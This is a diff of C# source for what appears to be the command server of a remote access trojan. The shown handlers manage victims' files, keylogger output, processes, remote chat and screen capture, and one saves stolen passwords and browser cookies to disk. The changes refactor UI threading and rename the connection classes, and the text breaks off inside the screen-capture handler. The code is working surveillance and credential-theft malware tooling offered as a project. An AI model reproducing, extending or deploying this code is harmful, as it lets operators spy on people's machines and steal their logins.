L7DMvX+iq+MLXQcVrowIgN/oTBpcbBTWKj2eHgG4wMUGn6n6gII9RAD8SmeyCMsX+Essn0CNUahWAEaB
|
||||||
|
l7ESfG/R1TGt6kCCM0QA/I5lFN6DJQQ34rZRqEYApoDfYA38V8Xg8y8iAEHBMgofx3o1aAEirvxddwUg
|
||||||
|
BRzCmuo/Kwaf/xEBCBqdySXMGYXL8v577gnA58wZfCe9/IgE+4gABBHLKGzGKkSyk3yMwvwF4ALwFFZh
|
||||||
|
jiNi8AULEYAgYxmF12MFibYC8Zz/hnMBGAF+hhXk+a0YfMFEBCAMdCbLsIzCv8AqWmrfKMxdAKaA/VgD
|
||||||
|
/1W6Osa8vnzBOSIAYaIzWc2cUdiKHaPQvgCkgIPMGXx9Xl+ukD8iAGGkM7kYq5HJf8KqV3hl7AnAZ8A/
|
||||||
|
Aj+kq+NLry9PcA8RgLBiGYXrgT/DanFWd9nfu7oA9ABPAt8DPhKDL3yIAIQdyyi8DssfuJ+vGoWXF4AR
|
||||||
|
4N+w3vN/JwZfeBEBKBQso/AurERhB2mj8GIBmALexErw/VwMvvAjAlBodCarsPobfgtoZ3IwyuTwDPAh
|
||||||
|
lsG3j66Ofq9PU9CDCECh0plcBnyHycEdTA49DcZf09XxudenJejl/wPOfLn9LkiyfAAAAABJRU5ErkJg
|
||||||
|
gg==
|
||||||
|
</value>
|
||||||
|
</data>
|
||||||
|
</root>
|
@ -1,6 +1,6 @@
|
|||||||
using Server.Forms;
|
using Server.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@ -14,10 +14,6 @@ namespace Server.Handle_Packet
|
|||||||
public class HandleChat
|
public class HandleChat
|
||||||
{
|
{
|
||||||
public HandleChat(MsgPack unpack_msgpack, Clients client)
|
public HandleChat(MsgPack unpack_msgpack, Clients client)
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID];
|
FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID];
|
||||||
if (chat != null)
|
if (chat != null)
|
||||||
@ -33,8 +29,6 @@ namespace Server.Handle_Packet
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "chatExit";
|
msgpack.ForcePathObject("Packet").AsString = "chatExit";
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
using Server.Forms;
|
using Server.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
@ -9,22 +9,20 @@ using System.Threading;
|
|||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using Server.Helper;
|
using Server.Helper;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
|
||||||
namespace Server.Handle_Packet
|
namespace Server.Handle_Packet
|
||||||
{
|
{
|
||||||
public class HandleFileManager
|
public class HandleFileManager
|
||||||
{
|
{
|
||||||
public void FileManager(Clients client, MsgPack unpack_msgpack)
|
public async void FileManager(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||||
{
|
{
|
||||||
case "getDrivers":
|
case "getDrivers":
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
||||||
if (FM != null)
|
if (FM != null)
|
||||||
@ -47,16 +45,10 @@ namespace Server.Handle_Packet
|
|||||||
i += 1;
|
i += 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "getPath":
|
case "getPath":
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
||||||
if (FM != null)
|
if (FM != null)
|
||||||
@ -70,93 +62,56 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
|
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
FM.listView1.BeginUpdate();
|
||||||
|
//
|
||||||
FM.listView1.Items.Clear();
|
FM.listView1.Items.Clear();
|
||||||
FM.listView1.Groups.Clear();
|
FM.listView1.Groups.Clear();
|
||||||
FM.toolStripStatusLabel3.Text = "";
|
FM.toolStripStatusLabel3.Text = "";
|
||||||
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
|
||||||
ListViewGroup groupFolder = new ListViewGroup("Folders");
|
ListViewGroup groupFolder = new ListViewGroup("Folders");
|
||||||
FM.listView1.Groups.Add(groupFolder);
|
|
||||||
int numFolders = 0;
|
|
||||||
for (int i = 0; i < _folder.Length; i++)
|
|
||||||
{
|
|
||||||
if (_folder[i].Length > 0)
|
|
||||||
{
|
|
||||||
ListViewItem lv = new ListViewItem();
|
|
||||||
lv.Text = _folder[i];
|
|
||||||
lv.ToolTipText = _folder[i + 1];
|
|
||||||
lv.Group = groupFolder;
|
|
||||||
lv.ImageIndex = 0;
|
|
||||||
FM.listView1.Items.Add(lv);
|
|
||||||
numFolders += 1;
|
|
||||||
}
|
|
||||||
i += 1;
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
|
||||||
ListViewGroup groupFile = new ListViewGroup("Files");
|
ListViewGroup groupFile = new ListViewGroup("Files");
|
||||||
|
|
||||||
|
FM.listView1.Groups.Add(groupFolder);
|
||||||
FM.listView1.Groups.Add(groupFile);
|
FM.listView1.Groups.Add(groupFile);
|
||||||
int numFiles = 0;
|
|
||||||
for (int i = 0; i < _file.Length; i++)
|
FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
|
||||||
{
|
FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
|
||||||
if (_file[i].Length > 0)
|
//
|
||||||
{
|
FM.listView1.Enabled = true;
|
||||||
ListViewItem lv = new ListViewItem();
|
FM.listView1.EndUpdate();
|
||||||
lv.Text = Path.GetFileName(_file[i]);
|
|
||||||
lv.ToolTipText = _file[i + 1];
|
FM.toolStripStatusLabel2.Text = $" Folder[{FM.listView1.Groups[0].Items.Count}] Files[{FM.listView1.Groups[1].Items.Count}]";
|
||||||
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
|
|
||||||
FM.imageList1.Images.Add(_file[i + 1], im);
|
|
||||||
lv.ImageKey = _file[i + 1];
|
|
||||||
lv.Group = groupFile;
|
|
||||||
lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
|
|
||||||
FM.listView1.Items.Add(lv);
|
|
||||||
numFiles += 1;
|
|
||||||
}
|
|
||||||
i += 3;
|
|
||||||
}
|
|
||||||
FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]";
|
|
||||||
}
|
|
||||||
}));
|
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "reqUploadFile":
|
case "reqUploadFile":
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(async () =>
|
|
||||||
{
|
{
|
||||||
FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
|
FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
|
||||||
if (FD != null)
|
if (FD != null)
|
||||||
{
|
{
|
||||||
FD.C = client;
|
FD.Client = client;
|
||||||
FD.timer1.Start();
|
FD.timer1.Start();
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "uploadFile";
|
msgpack.ForcePathObject("Command").AsString = "uploadFile";
|
||||||
await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName);
|
await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName);
|
||||||
msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName;
|
msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName;
|
||||||
ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "error":
|
case "error":
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
||||||
if (FM != null)
|
if (FM != null)
|
||||||
{
|
{
|
||||||
|
FM.listView1.Enabled = true;
|
||||||
|
FM.toolStripStatusLabel3.ForeColor = Color.Red;
|
||||||
FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString;
|
FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString;
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -164,17 +119,13 @@ namespace Server.Handle_Packet
|
|||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
public void SocketDownload(Clients client, MsgPack unpack_msgpack)
|
public async void SocketDownload(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||||
{
|
{
|
||||||
case "pre":
|
case "pre":
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
|
|
||||||
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
|
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
|
||||||
@ -183,21 +134,15 @@ namespace Server.Handle_Packet
|
|||||||
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
||||||
if (SD != null)
|
if (SD != null)
|
||||||
{
|
{
|
||||||
SD.C = client;
|
SD.Client = client;
|
||||||
SD.labelfile.Text = Path.GetFileName(file);
|
SD.labelfile.Text = Path.GetFileName(file);
|
||||||
SD.dSize = Convert.ToInt64(size);
|
SD.FileSize = Convert.ToInt64(size);
|
||||||
SD.timer1.Start();
|
SD.timer1.Start();
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "save":
|
case "save":
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(async () =>
|
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -213,16 +158,11 @@ namespace Server.Handle_Packet
|
|||||||
File.Delete(filename);
|
File.Delete(filename);
|
||||||
await Task.Delay(500);
|
await Task.Delay(500);
|
||||||
}
|
}
|
||||||
await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
|
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)));
|
||||||
if (SD != null)
|
|
||||||
{
|
|
||||||
SD.Close();
|
SD.Close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
catch { }
|
catch { }
|
||||||
}));
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -230,5 +170,59 @@ namespace Server.Handle_Packet
|
|||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private async Task SaveFileAsync(MsgPack unpack_msgpack, string name)
|
||||||
|
{
|
||||||
|
await unpack_msgpack.SaveBytesToFile(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ListViewItem> GetFolders(MsgPack unpack_msgpack, ListViewGroup listViewGroup)
|
||||||
|
{
|
||||||
|
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||||
|
List<ListViewItem> lists = new List<ListViewItem>();
|
||||||
|
int numFolders = 0;
|
||||||
|
for (int i = 0; i < _folder.Length; i++)
|
||||||
|
{
|
||||||
|
if (_folder[i].Length > 0)
|
||||||
|
{
|
||||||
|
ListViewItem lv = new ListViewItem();
|
||||||
|
lv.Text = _folder[i];
|
||||||
|
lv.ToolTipText = _folder[i + 1];
|
||||||
|
lv.Group = listViewGroup;
|
||||||
|
lv.ImageIndex = 0;
|
||||||
|
lists.Add(lv);
|
||||||
|
numFolders += 1;
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
return lists;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ListViewItem> GetFiles(MsgPack unpack_msgpack, ListViewGroup listViewGroup, ImageList imageList1)
|
||||||
|
{
|
||||||
|
string[] _files = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||||
|
List<ListViewItem> lists = new List<ListViewItem>();
|
||||||
|
for (int i = 0; i < _files.Length; i++)
|
||||||
|
{
|
||||||
|
if (_files[i].Length > 0)
|
||||||
|
{
|
||||||
|
ListViewItem lv = new ListViewItem();
|
||||||
|
lv.Text = Path.GetFileName(_files[i]);
|
||||||
|
lv.ToolTipText = _files[i + 1];
|
||||||
|
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_files[i + 2])));
|
||||||
|
|
||||||
|
Program.form1.Invoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
imageList1.Images.Add(_files[i + 1], im);
|
||||||
|
}));
|
||||||
|
lv.ImageKey = _files[i + 1];
|
||||||
|
lv.Group = listViewGroup;
|
||||||
|
lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_files[i + 3])));
|
||||||
|
lists.Add(lv);
|
||||||
|
}
|
||||||
|
i += 3;
|
||||||
|
}
|
||||||
|
return lists;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
using Server.Forms;
|
using Server.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
@ -14,16 +14,12 @@ namespace Server.Handle_Packet
|
|||||||
public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
|
public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
|
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
|
||||||
if (KL != null)
|
if (KL != null)
|
||||||
{
|
{
|
||||||
KL.SB.Append(unpack_msgpack.ForcePathObject("Log").GetAsString());
|
KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString());
|
||||||
KL.richTextBox1.Text = KL.SB.ToString();
|
KL.richTextBox1.Text = KL.Sb.ToString();
|
||||||
KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength;
|
KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength;
|
||||||
KL.richTextBox1.ScrollToCaret();
|
KL.richTextBox1.ScrollToCaret();
|
||||||
}
|
}
|
||||||
@ -34,8 +30,6 @@ namespace Server.Handle_Packet
|
|||||||
msgpack.ForcePathObject("isON").AsString = "false";
|
msgpack.ForcePathObject("isON").AsString = "false";
|
||||||
client.Send(msgpack.Encode2Bytes());
|
client.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using cGeoIp;
|
using cGeoIp;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
@ -16,11 +16,11 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
client.LV = new ListViewItem();
|
client.LV = new ListViewItem();
|
||||||
client.LV.Tag = client;
|
client.LV.Tag = client;
|
||||||
client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
|
client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]);
|
||||||
string[] ipinf;
|
string[] ipinf;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
|
ipinf = new cGeoMain().GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
|
||||||
}
|
}
|
||||||
catch { ipinf = new string[] { "?", "?" }; }
|
catch { ipinf = new string[] { "?", "?" }; }
|
||||||
client.LV.SubItems.Add(ipinf[1]);
|
client.LV.SubItems.Add(ipinf[1]);
|
||||||
@ -34,11 +34,6 @@ namespace Server.Handle_Packet
|
|||||||
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
||||||
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
|
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
|
||||||
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
||||||
|
|
||||||
if (Program.form1.listView1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
|
||||||
lock (Settings.Listview1Lock)
|
lock (Settings.Listview1Lock)
|
||||||
{
|
{
|
||||||
Program.form1.listView1.Items.Add(client.LV);
|
Program.form1.listView1.Items.Add(client.LV);
|
||||||
@ -48,11 +43,9 @@ namespace Server.Handle_Packet
|
|||||||
if (Properties.Settings.Default.Notification == true)
|
if (Properties.Settings.Default.Notification == true)
|
||||||
{
|
{
|
||||||
Program.form1.notifyIcon1.BalloonTipText = $@"Connected
|
Program.form1.notifyIcon1.BalloonTipText = $@"Connected
|
||||||
{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}";
|
{client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
|
||||||
Program.form1.notifyIcon1.ShowBalloonTip(100);
|
Program.form1.notifyIcon1.ShowBalloonTip(100);
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
|
||||||
@ -60,14 +53,10 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
Settings.Online.Add(client);
|
Settings.Online.Add(client);
|
||||||
}
|
}
|
||||||
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Received(Clients client)
|
public void Received(Clients client)
|
||||||
{
|
|
||||||
if (Program.form1.listView1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -76,8 +65,6 @@ namespace Server.Handle_Packet
|
|||||||
client.LV.ForeColor = Color.Empty;
|
client.LV.ForeColor = Color.Empty;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,10 +13,6 @@ namespace Server.Handle_Packet
|
|||||||
public void Addmsg(string Msg, Color color)
|
public void Addmsg(string Msg, Color color)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
|
||||||
if (Program.form1.listView2.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.listView2.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
ListViewItem LV = new ListViewItem();
|
ListViewItem LV = new ListViewItem();
|
||||||
LV.Text = DateTime.Now.ToLongTimeString();
|
LV.Text = DateTime.Now.ToLongTimeString();
|
||||||
@ -26,16 +22,6 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
Program.form1.listView2.Items.Insert(0, LV);
|
Program.form1.listView2.Items.Insert(0, LV);
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
ListViewItem LV = new ListViewItem();
|
|
||||||
LV.Text = DateTime.Now.ToLongTimeString();
|
|
||||||
LV.SubItems.Add(Msg);
|
|
||||||
LV.ForeColor = color;
|
|
||||||
Program.form1.listView2.Items.Insert(0, LV);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
|
|
||||||
@ -8,10 +8,6 @@ namespace Server.Handle_Packet
|
|||||||
public class HandlePing
|
public class HandlePing
|
||||||
{
|
{
|
||||||
public HandlePing(Clients client, MsgPack unpack_msgpack)
|
public HandlePing(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
|
||||||
if (Program.form1.listView1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -23,8 +19,6 @@ namespace Server.Handle_Packet
|
|||||||
Debug.WriteLine("Temp socket pinged server");
|
Debug.WriteLine("Temp socket pinged server");
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
using Server.Forms;
|
using Server.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
@ -13,10 +13,6 @@ namespace Server.Handle_Packet
|
|||||||
public void GetProcess(Clients client, MsgPack unpack_msgpack)
|
public void GetProcess(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
|
FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
|
||||||
if (PM != null)
|
if (PM != null)
|
||||||
@ -40,8 +36,6 @@ namespace Server.Handle_Packet
|
|||||||
i += 2;
|
i += 2;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
@ -26,11 +26,11 @@ namespace Server.Handle_Packet
|
|||||||
Directory.CreateDirectory(fullPath);
|
Directory.CreateDirectory(fullPath);
|
||||||
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
|
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
|
||||||
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine));
|
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine));
|
||||||
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
|
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple);
|
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
using Server.Forms;
|
using Server.Forms;
|
||||||
using Server.Helper;
|
using Server.Helper;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
@ -15,24 +15,20 @@ namespace Server.Handle_Packet
|
|||||||
public void Capture(Clients client, MsgPack unpack_msgpack)
|
public void Capture(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
